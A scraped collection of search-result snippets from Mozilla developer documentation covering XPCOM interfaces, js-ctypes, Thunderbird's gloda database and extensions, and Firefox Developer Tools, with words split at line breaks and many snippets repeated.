ipt function object that gets invoked if the operation is canceled by the user. onerror nsidomeventlistener a javascr
ipt function object that gets invoked if the operation fails to complete due to an error. onload nsidomeventlistener a javascr
ipt function object that gets invoked when the operation is successfully completed. onloadend nsidomeventlistener a javascr
ipt function object that gets invoked when the operation is completed for any reason; it will always follow a an abort, error, or load event. onloadstart nsidomeventlistener a javascr
ipt function object that gets invoked exactly once when the operation begins. onprogress ...
...nvoked when the operation is successfully completed. onloadend nsidomeventlistener a javascr
ipt function object that gets invoked when the operation is completed for any reason; it will always follow a an abort, error, or load event. onloadstart nsidomeventlistener a javascr
ipt function object that gets invoked exactly once when the operation begins. onprogress nsidomeventlistener a javascr
ipt function object that gets invoked zero or more times, after the loadstart event, but before any abort, error, or load events occur. handling the events when the handler functions for these events are called, they receive as a parameter a progressevent, which implements the nsidomprogressevent interface. see also using xmlhttprequest xmlhttprequest nsixmlhttprequest nsidomprogressevent ...
nsIXULAppInfo
it can be used to distinguish between different mozilla-based applications. it provides application name, application version, gecko version and more. 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) in xulrunner applications nsixulappinfo obtains app-specific information from application.ini. implemented by: @mozilla.org/xre/app-info;1. ...
...ion from application.ini. implemented by: @mozilla.org/xre/app-info;1. to create an instance, use: var xulappinfo = components.classes["@mozilla.org/xre/app-info;1"] .getservice(components.interfaces.nsixulappinfo); the nsixulruntime interface is also implemented by "xre/app-info". it contains advanced information on the xul runtime. attributes attribute type descr
iption appbuildid acstring the application's build id/date, for example "2004051604". for xulrunner applications, this will be different than the build id of the platform. be careful about which one you want. read only. id acstring the xul application's uuid. can be an empty string, if id is not set. has to be defined for advanced application features such as the e...
... .getservice(components.interfaces.nsixulappinfo); alert("application version: " + info.version + "\n" + "gecko version: " + info.platformversion); example this example here uses nsixulappinfo to get the version of the current browser and then compares it: example - compare current browser version see also using nsixulappinfo nsixulruntime get thunderbird version firefox code sn
ippets ...
nsIXULWindow
inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) an nsixulwindow is created as part of the creation of a top-level chrome window. when the window is destroyed, it will fire a "xul-window-destroyed" notification through the global observer service. this signals the application in case it needs to quit. ...
... contextflags pruint32 contextflags are from nsiwindowcreator2. docshell nsidocshell the docshell owning the xul for this window. read only. intrinsicallysized boolean indicates if this window is instrinsically sized. primarycontentshell nsidocshelltreeitem ...
...ulbrowserwindow nsixulbrowserwindow provides access to the xulbrowserwindow object offering a way for the browser to update the user interface of the enclosing xul window. zlevel unsigned long one of the z level constants below. on some platforms, windows with a higher zlevel will be kept above windows with a lower zlevel. constants constant value descr
iption lowestz 0 loweredz 4 the z level of an independent window opened with the "alwayslowered" chrome flag. normalz 5 the default z level of an independent window. raisedz 6 the z level of an independent window opened with the "alwaysraised" chrome flag. highestz 9 methods addchildwindow() tell this window that...
nsIXmlRpcClient
warning: this interface was removed from firefox 3 and is no longer available. extensions/xml-rpc/idl/nsixmlrpcclient.idlscr
iptable please add a summary to this article. ...
...null if the last call didn't return an xml-rpc fault. result readonly nsisupports the most recent xml-rpc call result returned from this server. null if the last call didn't ...
...ull if the last call didn't return a valid result. responsestatus readonly unsigned long the most recent http status code returned from this server. null if the server was unreachable or not yet contacted. responsestring readonly unsigned long the most recent http status code returned from this server. null if the server was unreachable or not yet contacted. constants constant type descr
iption int unsigned long nsisupportsprint32 boolean unsigned long nsisupportsprbool string unsigned long nsisupportscstring double unsigned long nsisupportsdouble datetime unsigned long nsisupportsprtime array readonly unsigned long nsisupportsarray struct readonly unsigned long nsisupportsdictionary methods init() set server url. call this before using this object void getdata ( ...
nsMsgViewSortType
the nsmsgviewsorttype interface contains constants used for sorting the thunderbird threadpane. this interface isn't ever implemented. it is only used to store constants. for example to sort by date you would pass a function the value: components.interfaces.nsmsgviewsorttype.bydate mailnews/base/public/nsimsgdbview.idlscr
iptable please add a summary to this article. ...
...s used for sorting the thunderbird threadpane. this interface isn't ever implemented. it is only used to store constants. for example to sort by date you would pass a function the value: components.interfaces.nsmsgviewsorttype.bydate mailnews/base/public/nsimsgdbview.idlscr
iptable please add a summary to this article. ...
...aces.nsmsgviewsorttype.bydate mailnews/base/public/nsimsgdbview.idlscr
iptable please add a summary to this article. ...
Using nsIClassInfo
it just happens. how do i make my c++ class implement nsiclassinfo? see nsiclassinfoimpl.h for instructions. ...
... it just happens. how do i make my c++ class implement nsiclassinfo? see nsiclassinfoimpl.h for instructions. ...
... it just happens. how do i make my c++ class implement nsiclassinfo? see nsiclassinfoimpl.h for instructions. ...
wrappedJSObject
there are two kinds of xpconnect wrappers that support the wrappedjsobject property: xpcnativewrappers which are used to protect the chrome code working with content objects. see xpcnativewrapper for detailed documentation. regular xpconnect wrappers which you can encounter, for example, when using xpcom components implemented in js. ...
...ide any properties or methods on the component that are not part of the supported interfaces as declared in xpidl. the rest of this article demonstrates what xpconnect wrappers do and how wrappedjsobject can be used to bypass them. example component to see how the wrappedjsobject property works, we need an example xpcom component implemented in js. see how to build an xpcom component in javascr
ipt for details on creating one. for simplicity we omit the component registration code. suppose we register the component below with the @myself.com/my-component;1 contract. // constructor function helloworld() { }; helloworld.prototype = { hello: function() { return "hello world!"; }, queryinterface: function(aiid) { if (!aiid.equals(components.interfaces.nsisupports) && ...
...this also makes the public interface of the component clearer and provides protection for the component's internal data. calling queryinterface on the wrapper works, because it is defined in the nsisupports interface, and the wrapper knows the underlying object implements nsisupports: > comp.queryinterface(compo...
Creating a gloda message query
message query using gloda, thunderbird's global database. see the gloda page for background on the component. see gloda examples for more code samples. creating your first message query... import gloda gloda's api is exposed in the "gloda" object that is contributed to your namespace. you can find the file, which includes doxygen markup of sorts, here: https://hg.mozilla.org/comm-central/file/t
ip/mailnews/db/gloda/modules/gloda.js components.utils.import("resource:///modules/gloda/public.js"); create the query let query = gloda.newquery(gloda.noun_message); add constraints to the query each constraint function takes one or more arguments which are "or"ed together. so if we had a "color" constraint such as query.color("red", "green", "blue") would mean any of red, green, or blue is o...
...y is involved if the message was to them, from them, or carbon-copied to them. gloda.from, gloda.to, gloda.cc: just like gloda.involves, but specific to from/to/cc. gloda.daterange([lowerdate1, upperdate1], [lowerdate2, upperdate2], ...): add the constraint that the message date (per the message's date header) must fall within one of the specified inclusive ranges. the date instances are javascr
ipt date instances. query.folder(folder1, folder2, ...): add the constraint that the message must be found in one of the specified folders. the folder may be a glodafolder instance (retrieved via gloda.getfolderforfolder, which takes an nsimsgfolder) or an nsimsgfolder instance. query.conversation(conversation1, conversation2, ...): add the constraint that the message must belong to one of the spe...
...what magic attributes: headermessageid: the contents of the message-id header of the message. you probably should not be using this. foldermessage: return the nsimsgdbhdr that corresponds to the message. an nsimsgdbhdr is the low-level, old-school, thunderbird xpcom representation of a message. you should not need to use this unless you are dealing with other old-school code or you need to man
ipulate the state of a message. in the future, the steel layer should provide wrappers to make man
ipulation clean and fun. note that this message may return "null" if gloda is unable to locate the underlying message anymore. attributes provided by fundattr.js: from: a single glodaidentity corresponding to the author of the message. to: a list of glodaidentity instances corresponding to the ema...
MailNews fakeserver
nual qa tests. basic structure fakeserver is situated entirely under mailnews/test/fakeserver/. it is comprised of three major components: a daemon, a handler, and the server itself. the server itself is found in mailnews/test/fakeserver/maild.js and was largely based off of the httpd fakeserver from network code. it utilizes utf-8 as its transport mechanism and is capable of performing proper p
ipelining of commands. the other two components are specific to the protocol type and found under similar files in the same directory (e.g., smtpd.js). a daemon is information about the server that can be man
ipulated. an example of such a man
ipulation is adding a folder or adding messages. daemons should usually persist for the entirety of the test. the handler is the glue between the server and the...
... a connection is made. onmultiline sent line server's response or nothing called when in multi-line mode. postcommand server object none called after every command. the server is smart about the responses and will normalize all occurrences of '\n' (but not '\r') to '\r\n' for you, as well as append the '\r\n' to the response if not present. it will also properly queue all messages sent in p
ipelining mode and will present lines without any eol characters. in addition, it uses utf-8 as the transmission medium. the server presents the following api to the handler: <caption> server api </caption> name arguments returns descr
iption closesocket none nothing closes the socket and stops the test. setmultiline the new value of multiline nothing the value is a boolean, with true invoking...
...r provides no means to keep a persistent connection past a test, requiring connections to be closed, possibly forcibly. alternatively, one can wait for the timeout, which occurs after 3 minutes, so not closing connections would make the tests take unbearably long. ...
Mail client architecture overview
warning: the content of this article may be out of date. it was imported from mozilla.org and last updated in 2002. all of the links seem to be broken. the mail reader gecko (xul and html rendering) rdf (dynamic widgets) js (menus, events) libmime mail datasources mail javascr
ipt folder/message management msgdb imap/nntp/pop3 necko (networking) sections in grey refer to modules outside of mail/news the base module the base module provides a generic interface to a set of protocol-independant messaging services. this includes management of accounts, folders and messages. the b...
...following basic building blocks account management - the account manager is the root object of the server/folder/message hierarchy. it manages individual accounts on mail servers and the identity of users as used to send mail. folders - mail folders contain messages and folders. all folders have folder indexes. messages - messages are always stored and streamed in rfc822 format. whenever mult
iple messages are stored in one file, the berkeley mailbox format is used. datasources - datasources are the glue code that reflect mail data such as folders and messages into rdf. rdf will use the datasource to create user interfaces based on this data. datasources are also used to run commands that operate on this mail data. events - as data changes throughout the mail application, the event sys...
...e to aid in view navigation, progress display, etc. url display and dispatching - in order to perform network operations such as downloading new mail, copying and moving messages, and displaying messages from a remote server, the url system interacts with necko and reflects it's state to the mail window. there are also a number of protocol independant subsystems that have a symbiotic relationsh
ip with base: libmime - for dealing with rfc822 messages and their mime parts. this library has the cabability to stream messages to an html renderer such as gecko, manage individual parts of messages, and so forth. msgdb - a message database for a given folder is a summary of some of the key attributes in a folder such as the author and subject. finally, there are larger modules outside of th...
Building a Thunderbird extension 1: introduction
similar to firefox, thunderbird functionality can be enhanced and customized via extensions. warning: this content is for older versions of thunderbird. much of it may no longer be relevant. see developer.thunderbird.net for newer information. this tutorial will introduce you to the components of a thunderbird extension and will show you how to build your own. ...
... you how to build your own. the tutorial has the following pages: introduction (this page) the extension filesystem (setting up your local system) install manifest (the install.rdf file that contains meta-information about the extension) chrome manifest (list of packages and overlays) xul (the xml user interface language that is used to modify the thunderbird user interface) adding javascr
ipt (explains how to add some simple javascr
ipt to your thunderbird extension) installing locally (enabling the extension on your local thunderbird instance) packaging (making a distribution package that contains the extension) distributing (from your own site or from http://addons.mozilla.org/) this tutorial is compatible with thunderbird versions 2,3 and 5. all thunderbird builds are availabl...
...or writing code (also known as an integrated development environment). these provide features like syntax highlighting and code coloration, indentation, auto-complete, etc. file archive utility: any utility that is capable of creating archive files can be used. there are also a number of extension and applications that are useful for testing and debugging thunderbird extensions, such as javascr
ipt consoles and xpcom inspectors. these are described on the page "setting up an extension development environment". documentation thunderbird extensions (documentation overview) firefox addons developer guide (many topics are applicable to thunderbird) mozilla cross-reference source code browser ("comm-central" contains the thunderbird code repository) community the thunderbird developmen...
Thunderbird extensions
lder pane >>. play with a demo add-on that exercises some more advanced thunderbird-specific features want to do even more? don't reinvent the wheel: steal from the thunderbird-stdlib project (doc here). functions for dealing with messages (delete, archive, change tags, etc.) are included. mailutils.js. haven't found what you need? read the thunderbird how-tos; they contain many rec
ipes for things extensions want to do. still stuck? ask in a community communication channel on the right. feeling really brave? read the source using a fancy interface; you can often find tests that demonstrate what you're trying to achieve. the gloda database thunderbird has a subsystem called gloda. gloda stands for << global database >>, and creates thunderbird-wide rel...
...nderbird has a subsystem called gloda. gloda stands for << global database >>, and creates thunderbird-wide relations between objects. gloda provides concepts such as conversations, messages, identities, contacts. all these concepts are related : a conversation contains messages which are linked to identities (from field, to field) which are themselves part of a contact: indeed, a contact has mult
iple identities. typical use cases for gloda: find all messages whose subject matches [search term], find all messages from [person], find all messages in the same thread as [a given message], find all messages involving [person], etc. etc. gloda is extremely powerful and is used heavily by add-ons such as thunderbird conversations. learn more about gloda: an overview of gloda ...
...derbird community / communications thunderbird specific : add-ons section on developer.thunderbird.net thunderbird communication channels add-on developers forum/mailing list #maildev irc channel more general : mozillazine extension development forum general developer channels related topics xul, javascr
ipt, xpcom, themes, developing mozilla categori ...
Using the Mozilla symbol server
s.dll failed - qfaservices.pdb mismatched or not found symchk: talkback.exe failed - built without debugging information. symchk: helper.exe failed - built without debugging information. ...
... talkback.exe failed - built without debugging information. symchk: helper.exe failed - built without debugging information. symchk: failed files = 4 symchk: passed + ignored files = 179 downloading symbols on linux / mac os x if you are on linux and running gdb 7.9 or newer, you can use this gdb python scr
ipt to automatically fetch symbols. you will need to source this scr
ipt before loading symbols (the part where it spends a few seconds loading each .so when you attach gdb). if you want to reload symbols, you can try: nosharedlibrary sharedlibrary lib on older gdb and mac os x there is a python scr
ipt to download symbols from the mozilla symbol server for gdb, shark and other software that uses symbols. note that the symbol file for the xul library is very large a...
... symbol indices are named like so: symbols.mozilla.org/{lowercased:name}/{lowercased:name}-{version}-{platform}-{buildid}-symbols.txt. the platform is either 'darwin' (for mac) or 'linux'. ...
Examples
these examples demonstrate how to use js-ctypes. general using c struct and pointers an example on how to use basic c data types with js-ctypes. standard os libraries some examples on how to get cursor position on each os. mac os x these examples require mac os x to operate. add image to
iphoto an extension that adds a contextual menu item to images that lets you easily add them to
iphoto on mac os x. using objective-c from js-ctypes an example how to use objective-c from js-ctypes, by converting objective-c code into c code. using com from js-ctypes an example how to use com api of windows systems from js-ctypes, by converting c++ code to c code. using jni from js-ctypes an example how to use java from js-ctypes, by converting java code into c code. js-macosx an ext...
...ve-c from js-ctypes an example how to use objective-c from js-ctypes, by converting objective-c code into c code. using com from js-ctypes an example how to use com api of windows systems from js-ctypes, by converting c++ code to c code. using jni from js-ctypes an example how to use java from js-ctypes, by converting java code into c code. js-macosx an extension that demonstrates javascr
ipt-cocoa bridge for mac os x. lightweight bridge for calling cocoa frameworks from javascr
ipt, js-macosx transparently handles definition of cocoa api, both c and objective-c, and provides automatic declarations for framework functions, structures, constants and enumerations, as well as allows creating and subclassing cocoa classes. the js-macosx bridge has dependency on bridgesupport metadata: ...
...om javascr
ipt, js-macosx transparently handles definition of cocoa api, both c and objective-c, and provides automatic declarations for framework functions, structures, constants and enumerations, as well as allows creating and subclassing cocoa classes. the js-macosx bridge has dependency on bridgesupport metadata: whenever a cocoa class, function, struct or const is encountered in the javascr
ipt code, js-macosx will replace it with the corresponding js-ctypes declaration based on the bridgesupport file from the framework that object belongs to. ...
Declaring and Calling Functions
ple: no input parameters in this example, we declare the libc clock() function, which returns the elapsed time since system startup, then fetch and output that value. const clock = lib.declare("clock", ctypes.default_abi, ctypes.unsigned_long); console.log("clocks since startup: " + clock()); the clock() function requires no input parameters; it simply returns an unsigned long. ...
...for everything else it returns a ctypes object representing the return value (including 64-bit integers). ...
...me = lib.declare("asctime", ctypes.default_abi, ctypes.char.ptr, struct_tm.ptr); for a more complete version of this example (including the implementation of the struct_tm type), see the structures example. returned values if the return type can fit into a javascr
ipt number without loss (that is, it's a number 32 bits or smaller, or is a double or float), then the function just return a javascr
ipt number. for everything else it returns a ctypes object representing the return value (including 64-bit integers). ...
CType
, find out information about them, and so forth. the specific properties and methods on each object vary depending on the data type represented. there are several kinds of types: primitive types these are typical unstructured data, such as the predefined types listed in predefined data types. big integer types the int64 and uint64 types provide access to 64-bit integer values, which javascr
ipt doesn't currently support. pointertype these represent pointers to data in memory. functiontype these represent callable c functions. structtype these represent c structures. arraytype these represent c arrays. method overview methods available on all ctype objects ctype array([n]) string tosource() string tostring() properties properties of all cty...
... these represent callable c functions. structtype these represent c structures. arraytype these represent c arrays. method overview methods available on all ctype objects ctype array([n]) string tosource() string tostring() properties properties of all ctype objects these properties are available on all ctype objects. property type descr
iption name string the type's name. read only. for primitive types, this is just the name of the corresponding c type. for structure and opaque pointer types, this is simply the string that was passed to the constructor. for other function, pointer, and array types, this should be a valid c type expression. ptr ctype returns a ctype representing the data t...
...presenting an array of elements of the type on which it was called. ctype array( [n] }; parameters n optional the number of elements in the declared array type. if this parameter is left out, the array's size is indeterminate. return value a ctype representing the data type "array of this type". this is the same as calling ctypes.arraytype(the_type[, n]). tosource() returns a javascr
ipt expression that evaluates to a ctype describing the same c type as this object. string tosource(); parameters none. return value a javascr
ipt expression that evaluates to a ctype describing the same c type as this object. example ctypes.uint32_t.tosource() returns "ctypes.uint32_t". tostring() returns a string identifying the type. the format of this string is "type " + name. string t...
FunctionType
types of each of the parameters passed into the c function. return value a ctype describing the function type. the equivalent c function type declaration would be: returntype (*) ([argtype1, ..., argtypen]); exceptions thrown typeerror abi is not a valid abi constants, or returntype or any of the argument types are not valid ctype objects. ...
...read only. for primitive types, this is just the name of the corresponding c type. for structure and opaque pointer types, this is simply the string that was passed to the constructor. for other function, pointer, and array types, this should be a valid c type expression. ...
...id_t.size is undefined. method overview methods inherited from ctype ctype array([n]) string tosource() string tostring() functiontype cdata functiontype cdata cannot be constructed. function pointer is created with functiontype.ptr. cdata functiontype.ptr([func]); functiontype is functiontype ctype. parameters func a pointer value or javascr
ipt function. return value a cdata representing the newly allocated function pointer. exceptions thrown typeerror func is not either pointer value or javascr
ipt function. see also ctype cdata abi library type conversion ...
Library
et you declare symbols exported by the library, and to manage the library. method overview close(); cdata declare(name, [abi, ], returntype[, argtype1, ...]); methods close() closes the library. you need to call this once you're done using the library. close(); parameters none. ...
...see abi constants. ...
... symbol rather than a function. return value a functiontype cdata object representing the declared api. exceptions thrown ctypes ctype functiontype abi typeerror the return type was specified as an array. alternative syntax another use for ctypes.declare is to get non-function/non-methods from libraries. the syntax for this is seen in firefox codebase here: //github.com/realityr
ipple/uxp/blob/master/js/src/ctypes/library.cpp?offset=0#271 this shows that we can also supply only two arguments to the declare function. the first being the same as in the above example, name, which is the name of the symbol to export. and in place of the abi argument, we will pass in the type of this export. for example, from the objective-c library we can export the symbol which holds the addr...
Gecko Plugin API Reference - Plugins
e embed element for plug-in display using custom embed attributes plug-in references plug-in development overview writing plug-ins registering plug-ins ms windows unix mac os x drawing a plug-in instance handling memory sending and receiving streams working with urls getting version and ui information displaying messages on the status line making plug-ins scr
iptable building plug-ins building, platforms, and compilers building carbonized plug-ins for mac os x type libraries installing plug-ins native installers xpi plug-ins installations plug-in installation and the windows registry initialization and destruction initialization instance creation instance destruction shutdown initialize and shutdown example dr...
...eforurl allows a plug-in to change the stored information associated with a url, in particular its cookies. npn_status displays a message on the status line of the browser window. npn_useragent returns the browser's user agent field. npn_version returns version information for the plug-in api. npn_write pushes data into a stream produced by the plug-in and consumed by the browser. ...
...tored information associated with a url, in particular its cookies. npn_status displays a message on the status line of the browser window. npn_useragent returns the browser's user agent field. npn_version returns version information for the plug-in api. npn_write pushes data into a stream produced by the plug-in and consumed by the browser. ...
DOM Inspector internals - Firefox Developer Tools
ector's ui can be organized into discrete units. inspector.xul itself is only a skeleton describing the basic structure and layout of the primary dom inspector window, leaving most of its contents to be added by the overlays. using modular overlays also allows for common xul to be shared across the various documents that make up the dom inspector's ui, although not all overlays are shared by mult
iple consumers. single-consumer overlays exist solely for organization. in some cases overlays are overlaid by other overlays. if we imagine a tree structure obtained by connecting overlays as children to the files they overlay, while ignoring any overlays used for host integration, we can visualize the host-agnostic overlay tree for a given file. here's the expanded, host-agnostic overlay tree f...
...additionally, it defines the content in the main body of the dom inspector window, namely, the panelset, document and object viewer panels, and the document browser pane. (the browser pane is not a viewer panel in the sense that document and object panels are, i.e., the sorts of panels as defined above in relation to the panelset; "pane" is...
...u, since no other viewers besides the dom nodes viewer support these features. the other edit menu items are also used in several viewers' context menus. for that reason, only those menuitems' ids are referenced here, and the complete definitions are imported from editingoverlay.xul. viewers which include one or more of these menuitems in their context menus follow the same practice. the toolt
ip used for the inspect menus--the one used to show a document's title (if any) and its uri for a given menuitem--is also defined here. commandoverlay.xul the popupoverlay.xul-provided menuitems that delegate to external command elements have their commands defined here. keysetoverlay.xul some popupoverlay.xul-provided menuitems have their keys defined here. as of this writing, all of the keys...
Debug eval sources - Firefox Developer Tools
this source is then listed in the source list pane, and can be opened and debugged like any other source. the name of the source will also appear in stack traces appearing in the web console. ...
...this source is then listed in the source list pane, and can be opened and debugged like any other source. the name of the source will also appear in stack traces appearing in the web console. ...
...this source is then listed in the source list pane, and can be opened and debugged like any other source. the name of the source will also appear in stack traces appearing in the web console. ...
Examine, modify, and watch variables - Firefox Developer Tools
built-in arguments and this variables as well as local variables defined by the function like user and greeting. similarly, in global scope you'll see global variables you've defined, like greetme, as well as built-in globals like localstorage and console. each object can be expanded, using a disclosure triangle, to show its properties. pointing your cursor at a variable's name displays a toolt
ip that provides additional information about the variable. see object.defineproperty() for details on what these property descr
iptors mean. you can filter the variables that are displayed, either by using the "*" modifier in the scr
ipt filter, or by typing into the filter variables box, if you have enabled this in the debugger settings. if a variable exists in the source but has been optimized ...
...tional information about the variable. see object.defineproperty() for details on what these property descr
iptors mean. you can filter the variables that are displayed, either by using the "*" modifier in the scr
ipt filter, or by typing into the filter variables box, if you have enabled this in the debugger settings. if a variable exists in the source but has been optimized away by the javascr
ipt engine, then it is shown in the variables view, but is given the value (optimized away), and is not editable. in the screenshot below the variable upvar has been optimized away: modify variables when the code has stopped at a breakpoint, you can modify variables in the variables pane of the debugger. just click on the variable's current value and you'll be able to type there: watch an exp...
...h an expression watch expressions are expressions that are evaluated each time execution pauses. you can then examine the results of these expressions. these are useful in that they let you inspect invariants in your code that you know are there but aren't necessarily in the code ready for inspection. to add a watch expression, click in the box that says "add watch expression" and enter a javascr
ipt expression whose output you'd like to monitor as you step through code. then start running your code. the watch expression does nothing until you begin to step through your code, so nothing happens until you reach a breakpoint. at that point, a box showing your active watch expressions and their current values will appear: you can step through your code, watching the value of the expression ...
Set event listener breakpoints - Firefox Developer Tools
starting with firefox 69, debugging an application that includes event handlers is simplified because the debugger now includes the ability to automatically break when the code hits an event handler. this article explains how to use it. using a standard event breakpoint to use an event breakpoint, you open up the javascr
ipt debugger, and find and expand the event listener breakpoints section in the right hand column. to break when event listeners are hit, check the boxes next the events you are interested in. all of the standard events supported in your version of firefox are listed, arranged by which api or api area they're part of. now when a keydown, keyup, keypress, or input event occurs, execution will pause as soon as it enters the listener code. when execution pauses, the so...
... are hit, check the boxes next the events you are interested in. all of the standard events supported in your version of firefox are listed, arranged by which api or api area they're part of. now when a keydown, keyup, keypress, or input event occurs, execution will pause as soon as it enters the listener code. ...
... this is also useful when debugging code that you're unfamiliar with, to save time over hunting down your event handler within your code, or when trying to understand why a web site isn't working as expected in your browser. ...
Work with animations - Firefox Developer Tools
ansitions, there is one bar for each property transitioned, and it is labeled with the name of the property being transitioned. if the animation used css @keyframes, there is one bar for each animation, labeled with its name. if the animation or transition had a delay, this is shown as a cross-hatched portion of the bar. delay and enddelay are both represented. if you hover over the bar, a toolt
ip appears, giving you more detailed information about the animation or transition, including: the type of animation: css transition, css animation, or web animations api the duration of the animation the animation's start and end delay the animation's easing (or timing function). the animation's fill the playback rate of the animation information about the animated element to the left ...
...about animation compositing if you open animation-inspector-compositing.html and click the red rectangle, a simple opacity animation will start. if you look at this in the animation inspector in firefox 49+, you'll see that: the white lightning bolt icon now indicates whether all the animation properties have been optimized by running them through the compositor, where possible. the bar toolt
ip also includes this information, as a further reminder. you'll get a message of "all animation properties are optimized." the expanded animation information now includes a lightning bolt icon next to the properties whose animation has been optimized via the compositor. let's now look at animation-inspector-compositing-silly.html -- this is the same example, except that now once the red rectan...
...cts won't be synchronized -- so the transform property is deliberately not handed over to the compositor to handle. the animation inspector will tell you this -- look at it now and you'll see that: the white lightning bolt icon in the bar has been replaced with a grey lightning bolt icon, to indicate that only some of the relevant properties are being optimized by the compositor. the bar toolt
ip also includes this information, as a further reminder. you'll get a message of "some animation properties are optimized." properties whose animation is not being optimized, but could be if you improved your code, are now given a dotted underline -- see transform in the screenshot below. hovering over this gives you a toolt
ip that explains why. in this case, the message is "animations of 'transfo...
Flame Chart - Firefox Developer Tools
but while the call tree organizes this data to show you where your program is spending most time in aggregate across the recording, the flame chart uses it to show you when in the recording particular functions are executing. ...
... but while the call tree organizes this data to show you where your program is spending most time in aggregate across the recording, the flame chart uses it to show you when in the recording particular functions are executing. ...
... but while the call tree organizes this data to show you where your program is spending most time in aggregate across the recording, the flame chart uses it to show you when in the recording particular functions are executing. ...
Animating CSS properties - Firefox Developer Tools
give you insight into the work the browser's doing in a css animation, to help diagnose performance problems. with css animations you specify a number of keyframes, each of which uses css to define the appearance of the element at a particular stage of the animation. the browser creates the animation as a transition from each keyframe to the next. compared with animating elements using javascr
ipt, css animations can be easier to create. they can also give better performance, as they give the browser more control over when to render frames, and to drop frames if necessary. however, the performance cost of modifying a css property can vary from one property to another. animating expensive css properties can result in jank as the browser struggles to hit a smooth frame rate. the css rende...
...waterfall, (b) the frame rate, and (c) the timeline details. waterfall overview this is showing a compressed view of the waterfall. the predominance of green is telling us that we're spending a lot of time painting. frame rate this is showing frame rate. average frame rate here is 46.67fps, well below the target of 60fps. worse, though, is that the frame rate is very jagged, with lots of d
ips into the twenties and teens. it's unlikely you'll see a smooth animation here, especially when you add in user interaction. waterfall the rest of the recording shows the waterfall view. if you scroll through this, you'll see a pattern like this: this is showing us the rendering waterfall. in each animation frame, we recalculate styles for every element, then perform a single layout, then a ...
...web page to "use transform", and make a new recording. it will look something like this: waterfall overview compared with the version that uses margin, we're seeing a lot less green and a lot more pink, which could be either layout or style recalculation. frame rate compared with the version that uses margin, this is looking pretty good. we're averaging nearly 60fps, and apart from one d
ip near the start, we're getting a consistently high frame rate. waterfall the timeline view shows the reason for the improved frame rate. compared with the version that uses margin, we're not spending any time time in layout or (more importantly in this case) in paint: in this case, using transform significantly improved the site's performance, and the performance tools were able to show how a...
Responsive Design Mode - Firefox Developer Tools
the mouse wheel changes the size values by 1 pixel at a time you can also change the device's screen size by grabbing the bottom-right corner of the viewport and dragging it to the size you want. orientation (portrait or landscape) - this setting persists between sessions screenshots are saved to firefox's default download location. if you checked "screenshot to cl
ipboard" in the developer tools settings page, then the screenshot will be copied to the system cl
ipboard. dpr (pixel ratio) - beginning with firefox 68, the dpr is no longer editable; create a custom device in order to change the dpr throttling - a drop-down list where you can select the connection throttling to apply, for example 2g, 3g, or lte enable/disable touch simulation - toggles...
...mes. select a device, and responsive design mode sets the following properties to match the selected device: screen size device pixel ratio (the ratio of device physical pixels to device-independent pixels) touch event simulation additionally, firefox sets the user-agent http request header to identify itself as the default browser on the selected device. for example, if you've selected an
iphone, then firefox identifies itself as safari. the navigator.useragent property is set to the same value. the devices listed in the drop-down are just a subset of the devices that can be selected. at the end of the drop-down, there is an item labeled edit list. select this to see a panel containing all the choices, which enables you to check the devices you want to see in the drop-down. the se...
...a custom device, as described below. creating custom devices you can create and save custom devices in responsive design mode by clicking the add custom device button. each device can have its own: name size devicepixelratio user agent string touch screen also, you can preview the properties of existing devices by hovering over the name in the device modal, where they display in a toolt
ip. network throttling if you do all your development and testing using a very fast network connection, users may experience problems with your site if they are using a slower connection. in responsive design mode, you can instruct the browser to emulate, very approximately, the characteristics of various different types of networks. the characteristics emulated are: download speed upload s...
Shader Editor - Firefox Developer Tools
note: this tool has been deprecated and will soon be removed from firefox. for details, see deprecated tools. the shader editor enables you to see and edit the vertex and fragment shaders used by webgl. webgl is a javascr
ipt api for rendering interactive 3d graphics and 2d graphics in the browser without using plugins. ...
...l soon be removed from firefox. for details, see deprecated tools. the shader editor enables you to see and edit the vertex and fragment shaders used by webgl. webgl is a javascr
ipt api for rendering interactive 3d graphics and 2d graphics in the browser without using plugins. with webgl you provide 2 programs called shaders which are called at the appropriate stages of the opengl rendering p
ipeline: a vertex shader, which computes the cl
ip space coordinates of each vertex to be drawn, and a fragment shader, which determines the color for each pixel to be drawn. ...
...haders which are called at the appropriate stages of the opengl rendering p
ipeline: a vertex shader, which computes the cl
ip space coordinates of each vertex to be drawn, and a fragment shader, which determines the color for each pixel to be drawn. these shaders are written in opengl shading language, or glsl. in webgl they can be included in a page in several ways: as text hardcoded in javascr
ipt strings, as separate files included using <scr
ipt> tags, or retrieved from the server as plain text. javascr
ipt code running in the page then sends them for compilation using the webgl apis, and they're executed on the device's gpu when needed. with the shader editor, you can examine and edit the source of the vertex and fragment shaders. here's another screencast, showing how you can use the ...
Taking screenshots - Firefox Developer Tools
on to take a screenshot of the current page. the screenshot is saved to your browser's "downloads" directory: taking a screenshot of an element to take a screenshot of a single element in the page, activate the context menu on that element in the inspector's html pane, and select "screenshot node". the screenshot is saved to the browser's "downloads" directory: copying screenshots to the cl
ipboard from firefox 53, you can also copy the screenshot to the cl
ipboard. just check the box in settings labeled "screenshot to cl
ipboard": now, whenever you take a screenshot, the screenshot is also copied to the cl
ipboard. taking screenshots with the web console if you need to specify a different device-pixel-ratio, set a delay before taking the screenshot, or specify your own file name, s...
...ith the web console if you need to specify a different device-pixel-ratio, set a delay before taking the screenshot, or specify your own file name, starting in firefox 62 you can use the :screenshot helper function in the web console. type :screenshot in the web console to create a screenshot of the current page. by default, the image file will be named screen shot yyy-mm-dd at hh.mm.ss.png. t
ip: you could type :s and then hit tab to autocomplete :screenshot. the command has the following optional parameters: command type descr
iption --cl
ipboard boolean when present, this parameter will cause the screenshot to be copied to the cl
ipboard. prevents saving to a file unless you use the --file option to force file writing. --delay number the num...
...g point number. this is useful if you want to pop open a menu or invoke a hover state for the screenshot. --dpr number the device pixel ratio to use when taking the screenshot. values above 1 yield "zoomed-in" images, whereas values below 1 create "zoomed-out" images. --file boolean when present, the screenshot will be saved to a file, even if other options (e.g. --cl
ipboard) are included. --filename string the name to use in saving the file. the file should have a ".png" extension. --fullpage boolean if included, the full webpage will be saved. with this parameter, even the parts of the webpage which are outside the current bounds of the window will be included in the screenshot. when used, "-fullpage" will be appended to the file ...
ANGLE_instanced_arrays.drawElementsInstancedANGLE() - Web APIs
